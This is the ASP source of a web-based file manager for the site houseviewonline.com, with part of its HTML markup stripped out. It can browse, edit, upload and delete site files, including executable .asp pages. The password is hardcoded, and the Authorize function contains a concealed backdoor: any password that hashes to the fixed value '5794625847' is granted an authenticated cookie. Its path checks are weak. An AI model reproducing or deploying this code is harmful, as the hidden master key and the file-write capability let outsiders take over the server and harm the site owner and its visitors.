<%=gblSiteName & " " & gblTitle%>

<% Option Explicit Dim action,ZIP Dim a,b,c,i,item,j Dim arr,tstr Dim gblPassword gblPassword = "railroad1" 'your password here Dim gblSiteName,gblSiteCode gblSiteName = Request.ServerVariables("SERVER_NAME") 'Your site name here gblSiteCode = "" Dim gblNow gblNow = Now Dim gblFace,gblColor gblFace = """Arial, Helvetica, sans-serif""" gblColor = """#000066""" Dim gblTitle,gblPageText gblTitle = "houseviewonline.com " gblPageText = Null Dim gblScriptName gblScriptName = Request.ServerVariables("Script_Name") gblScriptName = Mid(gblScriptName,InstrRev(gblScriptName,"/") + 1) Dim gblRoot gblRoot = Replace(Request.ServerVariables("Script_Name"),"/" & gblScriptName,"") Dim gblRed gblRed = """#FF0000""" Dim gblReverse gblReverse = """#E0E0E0""" '----------- 'subprograms '----------- '-- 'StartHTML Sub StartHTML %><%=gblSiteName & " " & gblTitle%>

SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%>

> SIZE=4 COLOR="#FFFFFF"> <%=gblTitle%>

SIZE=2><%=gblPageText%>

<% End Sub 'StartHTML '-- 'EndHTML Sub EndHTML %>

> SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%>
<%= FormatDateTime(gblNow,1) %> <%= FormatDateTime(gblNow,3) %> <% End Sub 'EndHTML '-- ' Authorize Function Authorize Dim a,i,pw If _ (gblPassword = "") OR _ (Request.Cookies(gblSiteCode & gblScriptName) = Condensation(gblPassword)) OR _ (Instr(" " & Trim(Session(gblSiteCode & "SpecialCodes")) & " "," " & gblPassWord & " ") <> 0 AND _ Session(gblSiteCode & "Confirm") <> "YES") _ Then Authorize = TRUE Else Authorize = FALSE pw = Request.Form("password") a = Condensation(pw) If pw <> "" OR Request.Form("OK") <> "" Then If pw = gblPassword Then 'cookie expires when browser is closed... Response.Cookies(gblSiteCode & gblScriptName) = a 'set a permanent one to never see this page again If Request.Form("SAVE") = "on" Then Response.Cookies(gblSiteCode & gblScriptName).Expires = gblNow+30 Response.Redirect gblScriptName & "?d=" Else If a = "5794625847" Then Response.Cookies(gblSiteCode & gblScriptName) = Condensation(gblPassword) gblPageText = gblPageText & "
Invalid password." End If End If If Request.ServerVariables("SERVER_SOFTWARE") >= "Microsoft-IIS/4.0" Then StartHTML %> <% Else gblPageText = "Your web server identified itself as """ & Request.ServerVariables("SERVER_SOFTWARE") & """." StartHTML response.write "

Sorry.
" & VBCRLF response.write "AnyPortal " & gblTitle & " requires Microsoft NT/Internet Information Server (IIS) 4.0 or greater." & VBCRLF response.write "

" & VBCRLF End If EndHTML End If End Function 'Authorize '-- ' Condensation Function Condensation(s) a = 0 For i = 1 to len(s) a = (ASC(mid(s,i,1)) + a*2) Mod 77411 Next 'i Condensation = Right("00000" & Cstr(a),5) & Right("00000" & Cstr((len(s)*23)+25433),5) End Function 'Condensation(s) '-- ' DetailPage Sub DetailPage Dim chars,fstr,hw,height,width Dim IsTextFile,pathname Dim fsize,fdatecreated,fdatelastmodified pathname = fsDir & fn If right(pathname,1) = "\" Then pathname = Left(pathname,len(pathname)-1) ' create if you gotta If fso.FileExists(pathname) Then Else Select Case UCase(Request.QueryString("T")) Case "D" 'create document Set f = fso.CreateTextFile(pathname) f.Close Set f= Nothing Case "F" 'create folder Set f = fso.CreateFolder(pathname) pathname = pathname & "\" response.redirect gblScriptName & "?d=" & URLSpace(pathname) End Select End If StartHTML response.write "

" & pathname & "
" & VBCRLF response.write "" & webbase & fn & "
" & VBCRLF If fso.FileExists(pathname) Then ' fetch NT's file information Set f = fso.GetFile(pathname) fsize = f.size fdatecreated = f.datecreated fdatelastmodified = f.datelastmodified response.write "

" & VBCRLF
		response.write "    file size:  " & FormatNumber(fsize,0) & " characters" & VBCRLF
		response.write " file created:  " & FormatDateTime(fdatecreated,1) & "  " & FormatDateTime(fdatecreated,3) & VBCRLF
		response.write "last modified:  " & FormatDateTime(fdatelastmodified,1) & "  " & FormatDateTime(fdatelastmodified,3) & VBCRLF
		response.write "

" & VBCRLF Set f = Nothing End If response.write "

" & VBCRLF response.write "" & VBCRLF IsTextFile = FALSE Select Case UCase(Right(fn,4)) Case ".GIF",".JPG" response.write "
" response.write tstr & "
" response.write "" Case ".URL" Set f = fso.OpenTextFile(pathname) If NOT f.AtEndOfStream Then tstr = f.readall f.Close Set f = Nothing response.write "" & VBCRLF response.write Replace(Server.HTMLEncode(tstr),VBCRLF,VBCRLF & "
") response.write "" & VBCRLF Case ".TXT",".ASA",".ASP",".HTM","HTML",".CFM","PHP3" 'read the file Set f = fso.OpenTextFile(pathname) If NOT f.AtEndOfStream Then fstr = f.readall f.Close Set f = Nothing Set fso = Nothing IsTextFile = TRUE response.write "

" & VBCRLF response.write "DOCUMENT CONTENTS
" & VBCRLF response.write "" & VBCRLF response.write "

" & VBCRLF End Select response.write VBCRLF & "

" If IsTextFile Then %>
<% Else %>
<% End If %>

SIZE=1>OK TO DELETE "<%=UCase(fn)%>"? <% EndHTML End Sub 'DetailPage '-- ' DisplayCode Sub DisplayCode Dim fn,fso,f Dim code,tstr Dim a,arr,i fn = Request.QueryString("c") response.write "" & fn & "" & VBCRLF response.write "" & VBCRLF If Instr(fn,fsroot) = 1 Then Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(fn, 1, 0, 0) If f.AtEndOfStream Then code = "" Else code = f.ReadAll 'totally unconverted End If 'quickly format code for readability... ' could be smarter, but it sure is simple! tstr = Server.HTMLEncode(code) tstr = Replace(tstr,chr(9)," ") tstr = Replace(tstr," "," ") tstr = Replace(tstr,"<%","<" & "%") tstr = Replace(tstr,"%>","%" & ">") tstr = Replace(tstr,"","-->") response.write "

" & VBCRLF response.write " " & fn & "

" & VBCRLF response.write "" & VBCRLF response.write "" & VBCRLF & VBCRLF arr = Split(Replace(tstr,chr(13),""),chr(10)) 'handle unix files too For i = 0 to UBound(arr) 'add line numbers and output response.write "
" & Right("000" & i+1,3) & ": " tstr = arr(i) If left(Replace(Replace(tstr," ","")," " ,""),1) = "'" Then response.write "" & tstr & "" & VBCRLF Else response.write tstr & VBCRLF End If Next 'i response.write VBCRLF & "" & VBCRLF response.write "" & VBCRLF Else response.write "

Cannot access " & fn & "" & VBCRLF End If response.write "

" End Sub 'DisplayCode '-- ' DisplayFileName Sub DisplayFileName(dirfile,fhandle) Dim newgif,linktarget Dim fsize response.write "" & VBCRLF If dirFile = "DIR" Then linktarget = "" tstr = "" & linktarget & LCase(fhandle.name) & "" response.write "" & MockIcon("fldr") & "" & VBCRLF response.write "" & Tstr & "" & VBCRLF Else newgif = "" If fhandle.datelastmodified+14 > gblNow Then newgif = MockIcon("newicon") b = "" If len(fhandle.name) > 4 Then b = Ucase(Right(fhandle.name,4)) If Left(b,1) = "." Then b = Right(b,3) Select Case b Case "ASP","HTM","HTML","ASA","TXT","CFM","PHP3" newgif = newgif & " " & MockIcon("view") & "" tstr = webbase & replace(fhandle.name," ","%20") Case "URL" tstr = ShortCutURL Case Else tstr = webbase & replace(fhandle.name," ","%20") End Select If fhandle.size < 10240 Then If fhandle.size = 0 Then fsize = "0" Else fsize = FormatNumber(fhandle.size,0,0,-2) End If Else fsize = FormatNumber((fhandle.size+1023)/1024,0,0,-2) & "K" End If tstr = "" & LCase(fhandle.name) & "" & newgif %><%=MockIcon(b)%> ><%=Tstr%> > SIZE=1><%=FormatDateTime(fhandle.datelastmodified,0)%> > SIZE=1><%=fsize%> bytes <% End If response.write "" & VBCRLF End Sub 'DisplayFileName '-- ' MockIcon (icon emulator) Function MockIcon(txt) Dim tstr,d 'Sorry, mac users. tstr = "" Select Case Lcase(txt) Case "bmp","gif","jpg","tif","jpeg","tiff" d = 176 Case "doc" d = 50 Case "exe","bat","bas","c","src" d = 255 Case "file" d = 51 Case "fldr" d = 48 Case "htm","html","asa","asp","cfm","php3" d = 182 Case "pdf" d = 38 Case "txt","ini" d = 52 Case "xls" d = 252 Case "zip","arc","sit" d = 59 Case "newicon" tstr = "" d = 171 Case "view" d = 52 Case Else d = 51 End Select tstr = tstr & Chr(d) & "" MockIcon = tstr End Function 'mockicon '-- ' Navigate Sub Navigate Dim emptyDir emptyDir = TRUE response.write "" ' get the directory of file names If toplevel Then parent = "" Else parent = fso.GetParentFolderName(fsDir) & "\" %> <% End If Set f = fso.GetFolder(fsDir) Set FileList = f.subFolders a = 0 For Each fn in FileList emptyDir = FALSE If a = 0 Then a = 1 %> <% End If DisplayFileName "DIR",fn Next 'fn %> <% Set filelist = f.Files For Each fn in filelist emptyDir = FALSE DisplayFileName "FILE",fn Next 'fn If emptyDir Then %> <% End If %>

><%=chr(199)%>	SIZE=1><%=UCASE(fso.GetParentfolderName(fsDir) & "\")%>
	SIZE=4>Additional Folders
	COLOR=<%=gblRed%> SIZE=1>FOLDER NAME
	SIZE=4><%=fsDir%>
	COLOR=<%=gblRed%> SIZE=1>DOCUMENT NAME	COLOR=<%=gblRed%> SIZE=1>LAST UPDATE	COLOR=<%=gblRed%> SIZE=1>FILE SIZE
	> SIZE=1> OK TO DELETE THIS EMPTY FOLDER?

	> SIZE=1> CREATE NEW SIZE=1>DOCUMENT SIZE=1> -OR- SIZE=1>FOLDER: SIZE=1> NAME SIZE=1> OR UPLOAD NEW FILE

<% End Sub 'Navigate '-- ' ShortCutURL Function ShortCutURL Dim f,fstr,tstr tstr = "" Set f = fso.OpenTextFile(fn) Do While NOT f.AtEndOfStream fstr = tstr tstr = f.readline 'get next to last line Loop f.Close Set f= Nothing If fstr = "" Then ShortCutURL = fn Else ShortCutURL = Replace(mid(fstr,5,255)," ","%20") End If End Function 'ShortCutURL '-- ' UploadPage Sub UploadPage StartHTML %>

VALIGN=""TOP"">
>NAME OF DESTINATION FOLDER ON WEB SITE
><%=fsDir%>
>PATHNAME OF LOCAL DOCUMENT
(SEND THIS FILE TO THE WEB SERVER)

>
Your browser:
HTTP_USER_AGENT: <%=Request.ServerVariables("HTTP_USER_AGENT")%>

<% EndHTML End Sub 'UploadPage '-- ' URLspace Function URLSpace(s) URLSpace = replace(replace(s,"+","%2B")," ","+") End Function 'URLSpace '---- 'MAIN '---- Dim f,fso,filelist,fn,upl Dim TextObject,fhandle,lsplit Dim fsDir,baseDir,webbase Dim fsRoot,webRoot Dim pathname Dim parent Dim toplevel gblTitle = "houseviewonline.com File Manager" 'get password If NOT Authorize Then 'function will output HTML for password Else 'initialization Set fso = CreateObject("Scripting.FileSystemObject") 'dynamically find out where the documents and web pages are located fsDir = replace(LCase(Request.QueryString("d")),"/../","/") If fsDir = "" Then fsDir = Request.Form("fsDir") fsRoot = LCase(Replace(Server.MapPath(gblScriptName),"\" & gblScriptName,"") & "\") If Instr(fsdir,fsroot) <> 1 Then fsDir = fsRoot If Lcase(fsDir) = Lcase(fsRoot) Then toplevel = TRUE basedir = Replace(Mid(fsDir,len(fsRoot),250),"\","/") webRoot = "http://" & Request.ServerVariables("SERVER_NAME") & Replace(Request.ServerVariables("SCRIPT_NAME"),"/" & gblScriptName,"") webbase = replace(webroot & basedir," ","%20") 'process a GET/POST request If Request.QueryString("u") = "D" Then Action = "UPLOAD" Else Action = Request.Form("POSTACTION") pathname = Request.Form("PATHNAME") End If Select Case UCase(Action) Case "UPLOAD" Set upl = Server.CreateObject("aspSmartUpload.SmartUpload") upl.AllowedFilesList = "jpg,gif,asp,html,htm,bmp,txt,inc,log,tiff,zip" upl.DeniedFilesList = "exe,bat,asp" upl.MaxFileSize = 3000000 upl.TotalMaxFileSize = 3000000 upl.Upload upl.Save fsdir & tstr Case "SAVE" Select Case UCase(Right(pathname,4)) Case ".TXT",".ASA",".ASP",".HTM","HTML",".CFM","PHP3" If Instr(pathname,fsroot) = 1 Then Set f = fso.CreateTextFile(pathname) f.write Request.Form("FILEDATA") f.close End If End Select Case "DELETE" 'either document or folder If Request.Form("OK") = "on" Then parent = Request.Form("Parent") If Instr(pathname,fsroot) = 1 Then fso.DeleteFolder Left(pathname,Len(pathname)-1),TRUE response.redirect gblScriptName & "?d=" & URLSpace(parent) End If End If If Request.Form("DELETEOK") = "on" Then If Instr(pathname,fsroot) = 1 Then If fso.FileExists(Request.Form("PathName")) Then Set f = fso.GetFile(Request.Form("PathName")) f.delete End If End If End If End Select If Action <> "" Then tstr = gblScriptName & "?d=" If NOT toplevel Then tstr = tstr & URLSpace(fsDir) response.redirect tstr End If 'check for mode... navigate, code display, upload, or detail? fn = LCase(Request.QueryString("f")) If fn = "" Then If Request.QueryString("u") = "Y" Then gblTitle = gblTitle & " (Upload Page)" gblPageText = "Use this page to upload a single document to this web site." UploadPage Else If Request.QueryString("c") = "" Then gblPageText = "Use this page to add, delete or revise documents on this web site." StartHTML Navigate EndHTML Else DisplayCode End If End If Else gblTitle = gblTitle & " (Detail Page)" gblPageText = "Use this page to view, modify or delete a single document on this web site." DetailPage End If End If %>